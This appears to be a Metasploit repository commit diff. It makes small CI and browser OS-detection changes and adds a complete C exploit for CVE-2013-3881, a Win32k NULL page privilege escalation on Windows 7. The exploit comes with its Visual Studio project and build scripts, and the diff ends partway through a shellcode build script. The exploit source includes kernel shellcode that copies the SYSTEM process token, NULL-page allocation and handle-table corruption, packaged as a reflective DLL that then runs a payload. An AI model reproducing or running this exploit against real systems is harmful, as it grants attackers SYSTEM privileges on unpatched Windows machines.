commit
d0b87f0e55
|
@ -1,9 +1,11 @@
|
|||
language: ruby
|
||||
env: MSF_SPOTCHECK_RECENT=1
|
||||
before_install:
|
||||
- rake --version
|
||||
- sudo apt-get update -qq
|
||||
- sudo apt-get install -qq libpcap-dev
|
||||
before_script:
|
||||
- ./tools/msftidy.rb
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- bundle exec rake --version
|
||||
- bundle exec rake db:create
|
||||
|
|
Binary file not shown.
|
@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){
|
|||
} else if (platform.match(/arm/)) {
|
||||
// Android and maemo
|
||||
arch = arch_armle;
|
||||
if (navigator.userAgent.match(/android/i)) {
|
||||
os_flavor = 'Android';
|
||||
}
|
||||
}
|
||||
} else if (platform.match(/windows/)) {
|
||||
os_name = oses_windows;
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,151 @@
|
|||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
|
||||
# User-specific files
|
||||
*.suo
|
||||
*.user
|
||||
*.sln.docstates
|
||||
|
||||
# Build results
|
||||
|
||||
[Dd]ebug/
|
||||
[Rr]elease/
|
||||
x64/
|
||||
build/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
|
||||
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
|
||||
!packages/*/build/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
*_i.c
|
||||
*_p.c
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.log
|
||||
*.scc
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# NCrunch
|
||||
*.ncrunch*
|
||||
.*crunch*.local.xml
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.Publish.xml
|
||||
*.pubxml
|
||||
|
||||
# NuGet Packages Directory
|
||||
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
|
||||
#packages/
|
||||
|
||||
# Windows Azure Build Output
|
||||
csx
|
||||
*.build.csdef
|
||||
|
||||
# Windows Store app package directory
|
||||
AppPackages/
|
||||
|
||||
# Others
|
||||
sql/
|
||||
*.Cache
|
||||
ClientBin/
|
||||
[Ss]tyle[Cc]op.*
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.[Pp]ublish.xml
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file to a newer
|
||||
# Visual Studio version. Backup files are not needed, because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
|
||||
# SQL Server files
|
||||
App_Data/*.mdf
|
||||
App_Data/*.ldf
|
||||
|
||||
# =========================
|
||||
# Windows detritus
|
||||
# =========================
|
||||
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Mac crap
|
||||
.DS_Store
|
|
@ -0,0 +1,20 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,261 @@
|
|||
/*
|
||||
* Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability
|
||||
* Date: February 5, 2014
|
||||
* Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame
|
||||
* Exploit Author: Spencer McIntyre
|
||||
* Version: Windows 7 SP0/SP1
|
||||
* Tested on: Windows 7 SP0/SP1
|
||||
* CVE-2013-3881 MS13-081
|
||||
* References:
|
||||
* http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html
|
||||
* http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html
|
||||
* http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html
|
||||
*/
|
||||
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// Purloined from ntstatus.h
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
|
||||
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef __success(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define TABLE_BASE 0xff910000
|
||||
|
||||
static const char* window_class_name = "PWN_CLASS";
|
||||
static HWND window0 = NULL;
|
||||
static HWND window1 = NULL;
|
||||
static HDESK desktop = NULL;
|
||||
|
||||
const unsigned char shellcode[] =
|
||||
"\x33\xc0" // xor eax, eax
|
||||
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124]
|
||||
"\x8b\x40\x50" // mov eax, ds:[eax+0x50]
|
||||
"\x8b\xc8" // mov ecx, eax
|
||||
/* LOOPTHROUGHPROCESSES */
|
||||
"\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8]
|
||||
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
|
||||
"\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4
|
||||
"\x75\xec" // jnz short LOOPTHROUGHPROCESSES
|
||||
"\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8]
|
||||
"\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx
|
||||
/* Epilog Part 1: Uncorrupt HANDLEENTRY */
|
||||
"\xbe\x00\x08\x00\x00" // mov esi, 0x0800
|
||||
"\x8b\x3e" // mov edi, [esi]
|
||||
"\x8b\x46\x04" // mov eax, [esi+4]
|
||||
"\x89\x07" // mov [edi], eax
|
||||
"\x8b\x46\x08" // mov eax, [esi+8]
|
||||
"\x89\x47\x04" // mov [edi + 4], eax
|
||||
"\x8b\x46\x0c" // mov eax, [esi+c]
|
||||
"\x89\x47\x08" // mov [edi+8], eax
|
||||
/* Epilog Part 2: Return to xxxTrackPopupMenuEx */
|
||||
"\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0
|
||||
"\x74\x11" // je short sp1
|
||||
"\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1
|
||||
"\x75\x0a" // je short sp1
|
||||
/* Service Pack 0 */
|
||||
"\x83\xc4\x48" // add esp, 0x48
|
||||
"\x5f" // pop edi
|
||||
"\x5e" // pop esi
|
||||
"\x5b" // pop ebx
|
||||
"\x5d" // pop ebp
|
||||
"\xc2\x04\x00" // ret 4
|
||||
/* Service Pack 1 */
|
||||
"\x83\xc4\x4c" // add esp 0x4c
|
||||
"\x5f" // pop edi
|
||||
"\x5e" // pop esi
|
||||
"\x83\xc4\x0c" // add esp, 0x0c
|
||||
"\x5d" // pop ebp
|
||||
"\xc2\x08\x00"; // ret 8
|
||||
|
||||
typedef struct _HANDLEENTRY {
|
||||
struct _HEAD *pHead;
|
||||
void *pOwner;
|
||||
UINT8 bType;
|
||||
UINT8 bFlags;
|
||||
UINT16 wUniq;
|
||||
} HANDLEENTRY, *PHANDLEENTRY;
|
||||
|
||||
typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID *BaseAddress,
|
||||
IN PULONG ZeroBits,
|
||||
IN PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)(
|
||||
IN DWORD ProfileSource,
|
||||
OUT PULONG Interval
|
||||
);
|
||||
|
||||
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
|
||||
return DefWindowProc(hwnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
NTSTATUS AllocateNullPage(void) {
|
||||
HMODULE hNtdll = NULL;
|
||||
FARPROC pNtAllocateVirtualMemory = NULL;
|
||||
DWORD base_address = 1;
|
||||
SIZE_T region_size = 0x1000;
|
||||
ULONG zero_bits = 0;
|
||||
HANDLE current_process = NULL;
|
||||
NTSTATUS status = 0;
|
||||
|
||||
hNtdll = LoadLibraryA("ntdll");
|
||||
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
|
||||
current_process = GetCurrentProcess();
|
||||
status = pNtAllocateVirtualMemory(current_process, &base_address, 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE);
|
||||
FreeLibrary(hNtdll);
|
||||
return status;
|
||||
}
|
||||
|
||||
PHANDLEENTRY GetAheList(void) {
|
||||
HMODULE hUser32 = NULL;
|
||||
HANDLEENTRY **tagSharedInfo = NULL;
|
||||
|
||||
hUser32 = LoadLibraryA("user32");
|
||||
tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo");
|
||||
if (tagSharedInfo == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
return (PHANDLEENTRY)*&tagSharedInfo[1];
|
||||
}
|
||||
|
||||
DWORD WINAPI TriggerThread0(void *garbage) {
|
||||
HMENU menu0;
|
||||
|
||||
SetThreadDesktop(desktop);
|
||||
window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
|
||||
menu0 = CreatePopupMenu();
|
||||
if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
|
||||
return 0;
|
||||
}
|
||||
TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI CreateAndRegisterClass(char * class_name) {
|
||||
WNDCLASSEX wx;
|
||||
HINSTANCE hInstance = NULL;
|
||||
|
||||
hInstance = (HINSTANCE)GetModuleHandle(NULL);
|
||||
if (hInstance == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
wx.cbSize = sizeof(WNDCLASSEX);
|
||||
wx.style = 0;
|
||||
wx.lpfnWndProc = WndProc;
|
||||
wx.cbClsExtra = 0;
|
||||
wx.cbWndExtra = 0;
|
||||
wx.hInstance = hInstance;
|
||||
wx.hIcon = LoadIcon(NULL, IDI_APPLICATION);
|
||||
wx.hCursor = LoadCursor(NULL, IDC_ARROW);
|
||||
wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
|
||||
wx.lpszMenuName = NULL;
|
||||
wx.lpszClassName = class_name;
|
||||
wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
|
||||
|
||||
if (RegisterClassEx(&wx) != 0) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
void Win32kNullPage(LPVOID lpPayload) {
|
||||
HMENU menu1 = NULL;
|
||||
HMENU menu2 = NULL;
|
||||
HANDLE gdi_handle = NULL;
|
||||
void *promise_land = NULL;
|
||||
ULONG interval = 0;
|
||||
PHANDLEENTRY aheList = NULL;
|
||||
PHANDLEENTRY target_handle = NULL;
|
||||
DWORD saved_bytes = 0;
|
||||
|
||||
desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||
SetThreadDesktop(desktop);
|
||||
|
||||
if (!CreateAndRegisterClass(window_class_name)) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (AllocateNullPage() != STATUS_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
*((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */
|
||||
*((PDWORD)promise_land + 1) = 0x90909090; /* noooop */
|
||||
*((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */
|
||||
*((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */
|
||||
*((PDWORD)promise_land + 7) = 0x00;
|
||||
*((PDWORD)promise_land + 9) = 0x00;
|
||||
*((PDWORD)promise_land + 12) = 0x00;
|
||||
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4);
|
||||
*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4);
|
||||
memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode));
|
||||
|
||||
window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
|
||||
menu1 = CreatePopupMenu();
|
||||
menu2 = CreateMenu();
|
||||
SetMenu(window1, menu2);
|
||||
DestroyMenu(menu2);
|
||||
|
||||
aheList = GetAheList();
|
||||
*((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff);
|
||||
*((PDWORD)promise_land + 128) = 0x01;
|
||||
*((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104;
|
||||
|
||||
target_handle = &aheList[((DWORD)menu2 & 0xffff)];
|
||||
*((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE);
|
||||
memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY));
|
||||
|
||||
if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
do {
|
||||
gdi_handle = CreateMetaFile(NULL);
|
||||
} while (gdi_handle != NULL);
|
||||
|
||||
CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0);
|
||||
Sleep(500);
|
||||
TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL);
|
||||
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason) {
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL) {
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
Win32kNullPage(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
};
|
85
external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj
vendored
Executable file
85
external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj
vendored
Executable file
|
@ -0,0 +1,85 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid>
|
||||
<RootNamespace>cve20133881</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<CompileAs>Default</CompileAs>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cve-2013-3881.c" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,17 @@
|
|||
<?xml version="1.0" standalone="yes"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<SolutionPath>.\cve-2013-3881.sln</SolutionPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<Target Name="all" DependsOnTargets="x86" />
|
||||
|
||||
<Target Name="x86">
|
||||
<Message Text="Building CVE-2013-3881 win32k_null_page x86 Release version" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
|
||||
<Target Name="x64">
|
||||
<Message Text="CVE-2013-3881 is not supported in x64" />
|
||||
</Target>
|
||||
</Project>
|
|
@ -40,6 +40,13 @@ IF "%ERRORLEVEL%"=="0" (
|
|||
POPD
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building CVE-2013-3881 (win32k_null_page)"
|
||||
PUSHD CVE-2013-3881
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
)
|
||||
|
||||
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
|
||||
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
|
||||
echo Finished %ldt%
|
||||
|
|
|
@ -1,124 +1,128 @@
|
|||
#=============================================================================#
|
||||
# A simple python build script to build the singles/stages/stagers and
|
||||
# some usefull information such as offsets and a hex dump. The binary output
|
||||
# will be placed in the bin directory. A hex string and usefull comments will
|
||||
# be printed to screen.
|
||||
#
|
||||
# Example:
|
||||
# >python build.py stager_reverse_tcp_nx
|
||||
#
|
||||
# Example, to build everything:
|
||||
# >python build.py all > build_output.txt
|
||||
#
|
||||
# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
#=============================================================================#
|
||||
import os, sys, time
|
||||
from subprocess import Popen
|
||||
from struct import pack
|
||||
#=============================================================================#
|
||||
def clean( dir="./bin/" ):
|
||||
for root, dirs, files in os.walk( dir ):
|
||||
for name in files:
|
||||
os.remove( os.path.join( root, name ) )
|
||||
#=============================================================================#
|
||||
def locate( src_file, dir="./src/" ):
|
||||
for root, dirs, files in os.walk( dir ):
|
||||
for name in files:
|
||||
if src_file == name:
|
||||
return root
|
||||
return None
|
||||
#=============================================================================#
|
||||
def build( name ):
|
||||
location = locate( "%s.asm" % name )
|
||||
if location:
|
||||
input = os.path.normpath( os.path.join( location, name ) )
|
||||
output = os.path.normpath( os.path.join( "./bin/", name ) )
|
||||
p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
|
||||
p.wait()
|
||||
xmit( name )
|
||||
else:
|
||||
print "[-] Unable to locate '%s.asm' in the src directory" % name
|
||||
#=============================================================================#
|
||||
def xmit_dump_ruby( data, length=16 ):
|
||||
dump = ""
|
||||
for i in xrange( 0, len( data ), length ):
|
||||
bytes = data[ i : i+length ]
|
||||
hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
|
||||
if i+length <= len(data):
|
||||
hex += " +"
|
||||
dump += "%s\n" % ( hex )
|
||||
print dump
|
||||
#=============================================================================#
|
||||
def xmit_offset( data, name, value ):
|
||||
offset = data.find( value );
|
||||
if offset != -1:
|
||||
print "# %s Offset: %d" % ( name, offset )
|
||||
#=============================================================================#
|
||||
def xmit( name, dump_ruby=True ):
|
||||
bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
|
||||
f = open( bin, 'rb')
|
||||
data = f.read()
|
||||
print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
|
||||
xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
|
||||
xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
|
||||
xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
|
||||
xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
|
||||
xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
|
||||
xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
|
||||
xmit_offset( data, "RetryCounter", "\x6a\x05" ) # socket retry
|
||||
xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
|
||||
xmit_offset( data, "Hostname", "https" )
|
||||
xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
|
||||
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
|
||||
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
|
||||
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
|
||||
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
|
||||
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
|
||||
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
|
||||
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
|
||||
xmit_offset( data, "XORKey", "XORK") # XOR key
|
||||
if( name.find( "egghunter" ) >= 0 ):
|
||||
null_count = data.count( "\x00" )
|
||||
if( null_count > 0 ):
|
||||
print "# Note: %d NULL bytes found." % ( null_count )
|
||||
if dump_ruby:
|
||||
xmit_dump_ruby( data )
|
||||
#=============================================================================#
|
||||
def main( argv=None ):
|
||||
if not argv:
|
||||
argv = sys.argv
|
||||
try:
|
||||
if len( argv ) == 1:
|
||||
print "Usage: build.py [clean|all|<name>]"
|
||||
else:
|
||||
print "# Built on %s\n" % ( time.asctime( time.localtime() ) )
|
||||
if argv[1] == "clean":
|
||||
clean()
|
||||
elif argv[1] == "all":
|
||||
for root, dirs, files in os.walk( "./src/egghunter/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/migrate/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/single/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/stage/" ):
|
||||
for name in files:
|
||||
build( name[:-4] )
|
||||
for root, dirs, files in os.walk( "./src/stager/" ):
